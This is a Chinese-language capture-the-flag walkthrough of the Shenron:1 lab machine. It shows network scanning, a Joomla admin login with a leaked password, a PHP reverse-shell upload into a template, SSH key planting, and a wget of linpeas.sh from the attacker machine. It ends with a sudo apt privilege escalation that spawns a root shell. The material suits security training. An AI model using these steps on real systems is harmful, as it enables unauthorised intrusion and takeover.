Shenron 1

Shenron:1

一、基本信息

名称:shenron:1

发布日期:2020.12.15

作者:Shubham mandloi

系列:shenron

推特:@shubhammandloi

二、靶机简介

Flags:

root:/root/root.txt

难度:中等

三、文件信息

文件名:shenron-1.ova

文件大小:1.3GB

下载地址:

MD5: 3D9F0F620846BC15F4591E7AC56C04B2

SHA1: 4E1D33E2338ADA4CA1C093CD67725850A033BAAD

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(ubuntu)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机shenron1和攻击机kali2021在VirtualBox下设置为桥接模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放22,80端口,访问主页还是apache2的初始页:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.113 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,发现/joomla和/test两个值得关注的目录,可以进行访问:

1
gobuster dir -u http://192.168.56.113/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

寻找密码,登录joomla后台

1.访问192.168.56.113/test,发现有password文件,查看password源码,能够发现admin用户的密码:

image-

image-

2.可以用admin用户登录joomla管理后台:

1
gobuster dir -u http://192.168.56.113/joomla -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,寻找后台

image-

image-

上传webshell

1.修改kali自带的webshell,/usr/share/webshells/php/php-reverse-shell.php,同时开启kali端口监听:

image-

2.在joomla后台管理页Templates-Templates-Protostar Details and Files-error.php内写入webshell内容后保存:

image-

3.访问不存在页面,触发webshell,再使用python构建交互式shell:

image-

image-

SSH免密登录,逐步提权

1.在/var/www/html/joomla目录下,我们从configuration.php文件中可以发现jenny用户及其密码,可用作登录:

image-

image-

2.登录jenny用户后,我们尝试使用ssh免密登录:

1
cat ~/.ssh/id_rsa.pub,首先在kali上查看自己的ssh密钥并复制下来,没有的话执行ssh-keygen,回车默认

image-

1
2
3
cd ~
cd .ssh
echo __public key__ >> authorized_keys,在jenny用户进入/.ssh目录,写入kali复制的密钥

image-

3.接着我们进行执行权限查看,发现shenron用户可以使用复制命令,则刚好可以把jenny现在有的ssh密钥复制过去,免密登录shenron:

1
sudo -l

image-

1
2
cp /home/jenny/.ssh/authorized_keys /tmp/
sudo -u shenron cp /tmp/authorized_keys /home/shenron/.ssh/

image-

root提权

1.在/var/opt目录下,我们能发现password.txt,应该是shenron用户的密码:

1
2
3
4
5
Python3 -m http.server 8001,在kali开放http服务
cd /tmp
wget http://192.168.56.102:8001/linpeas.sh,使用linpeas.sh工具扫描
chmod +x linpeas.sh
./linpeas.sh | tee output

image-

2.在shenron用户基础上,再查看权限,发现所有用户都可以使用apt,则用apt进行提权(详见https://gtfobins.github.io/gtfobins/apt-get/):

1
2
3
TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt install -c $TF sl

image-

3.在root用户/root目录下,可以查看flag,即root.txt:

image-